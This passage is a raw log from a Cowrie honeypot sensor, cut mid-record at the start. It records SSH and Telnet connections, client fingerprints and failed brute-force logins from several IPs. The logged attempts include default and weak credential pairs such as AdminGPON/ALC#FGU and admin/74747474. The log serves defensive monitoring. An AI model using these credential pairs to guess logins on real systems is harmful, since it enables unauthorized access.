penssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:29:55.812664Z","src_ip":"43.155.21.198","session":"8f729fee4065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wordpress","password":"12345678","message":"login attempt [wordpress/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:29:56.683645Z","src_ip":"43.155.21.198","session":"8f729fee4065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:29:57.896619Z","src_ip":"43.155.21.198","session":"8f729fee4065","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.91.2.191","src_port":4091,"dst_ip":"159.203.135.109","dst_port":23,"session":"666cce9d5050","protocol":"telnet","message":"New connection: 118.91.2.191:4091 (159.203.135.109:23) [session: 666cce9d5050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:31:03.675268Z"}
{"eventid":"cowrie.session.closed","duration":13.872409343719482,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:31:17.547520Z","src_ip":"118.91.2.191","session":"666cce9d5050","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51252,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cfb06b3fccc","protocol":"ssh","message":"New connection: 2.57.122.208:51252 (10.17.0.5:22) [session: 7cfb06b3fccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:31:29.857855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:31:29.948465Z","src_ip":"2.57.122.208","session":"7cfb06b3fccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:31:30.052086Z","src_ip":"2.57.122.208","session":"7cfb06b3fccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:31:30.522972Z","src_ip":"2.57.122.208","session":"7cfb06b3fccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:31:31.628613Z","src_ip":"2.57.122.208","session":"7cfb06b3fccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":56866,"dst_ip":"159.203.135.109","dst_port":22,"session":"497e40ed839b","protocol":"ssh","message":"New connection: 43.155.21.198:56866 (159.203.135.109:22) [session: 497e40ed839b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:31:52.626077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:31:52.631233Z","src_ip":"43.155.21.198","session":"497e40ed839b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:31:52.830198Z","src_ip":"43.155.21.198","session":"497e40ed839b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camera","password":"camera123!","message":"login attempt [camera/camera123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:31:53.654323Z","src_ip":"43.155.21.198","session":"497e40ed839b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:31:54.854183Z","src_ip":"43.155.21.198","session":"497e40ed839b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35682,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef88915d0821","protocol":"ssh","message":"New connection: 2.57.122.208:35682 (10.17.0.5:22) [session: ef88915d0821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:33:39.856238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:33:39.944660Z","src_ip":"2.57.122.208","session":"ef88915d0821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:33:40.084361Z","src_ip":"2.57.122.208","session":"ef88915d0821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:33:40.808184Z","src_ip":"2.57.122.208","session":"ef88915d0821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:33:41.908551Z","src_ip":"2.57.122.208","session":"ef88915d0821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.170.129.132","src_port":47958,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfa375a1e47e","protocol":"telnet","message":"New connection: 45.170.129.132:47958 (159.203.135.109:23) [session: cfa375a1e47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:33:49.610632Z"}
{"eventid":"cowrie.session.closed","duration":30.75959277153015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:34:20.370096Z","src_ip":"45.170.129.132","session":"cfa375a1e47e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":59478,"dst_ip":"159.203.135.109","dst_port":22,"session":"48dfba484f5f","protocol":"ssh","message":"New connection: 45.148.10.121:59478 (159.203.135.109:22) [session: 48dfba484f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:35:45.756184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:35:45.772530Z","src_ip":"45.148.10.121","session":"48dfba484f5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:35:45.837829Z","src_ip":"45.148.10.121","session":"48dfba484f5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:35:46.155648Z","src_ip":"45.148.10.121","session":"48dfba484f5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:35:47.240912Z","src_ip":"45.148.10.121","session":"48dfba484f5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52138,"dst_ip":"10.17.0.5","dst_port":22,"session":"c95e4504783a","protocol":"ssh","message":"New connection: 2.57.122.208:52138 (10.17.0.5:22) [session: c95e4504783a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:35:58.032569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:35:58.139860Z","src_ip":"2.57.122.208","session":"c95e4504783a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:35:58.280997Z","src_ip":"2.57.122.208","session":"c95e4504783a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:35:59.154347Z","src_ip":"2.57.122.208","session":"c95e4504783a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:36:00.332507Z","src_ip":"2.57.122.208","session":"c95e4504783a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37776,"dst_ip":"10.17.0.5","dst_port":22,"session":"c44cf87b9b12","protocol":"ssh","message":"New connection: 2.57.122.208:37776 (10.17.0.5:22) [session: c44cf87b9b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:38:14.639544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:38:14.644348Z","src_ip":"2.57.122.208","session":"c44cf87b9b12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:38:14.743641Z","src_ip":"2.57.122.208","session":"c44cf87b9b12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:38:15.046002Z","src_ip":"2.57.122.208","session":"c44cf87b9b12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:38:16.194961Z","src_ip":"2.57.122.208","session":"c44cf87b9b12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":10095,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfc49ae5532d","protocol":"ssh","message":"New connection: 2.57.121.112:10095 (10.17.0.5:22) [session: bfc49ae5532d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:05.408549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:05.413460Z","src_ip":"2.57.121.112","session":"bfc49ae5532d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:05.513436Z","src_ip":"2.57.121.112","session":"bfc49ae5532d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"74747474","message":"login attempt [admin/74747474] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:05.986282Z","src_ip":"2.57.121.112","session":"bfc49ae5532d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"72727272","message":"login attempt [admin/72727272] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:07.088658Z","src_ip":"2.57.121.112","session":"bfc49ae5532d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"71717171","message":"login attempt [admin/71717171] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:08.194415Z","src_ip":"2.57.121.112","session":"bfc49ae5532d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"708090a","message":"login attempt [admin/708090a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:09.297272Z","src_ip":"2.57.121.112","session":"bfc49ae5532d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"6bjVPe","message":"login attempt [admin/6bjVPe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:10.399268Z","src_ip":"2.57.121.112","session":"bfc49ae5532d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:11.500902Z","src_ip":"2.57.121.112","session":"bfc49ae5532d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":33852,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e1a1e6ab840","protocol":"ssh","message":"New connection: 2.57.122.208:33852 (10.17.0.5:22) [session: 9e1a1e6ab840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:27.232224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:27.239798Z","src_ip":"2.57.122.208","session":"9e1a1e6ab840","protocol":"ssh"}
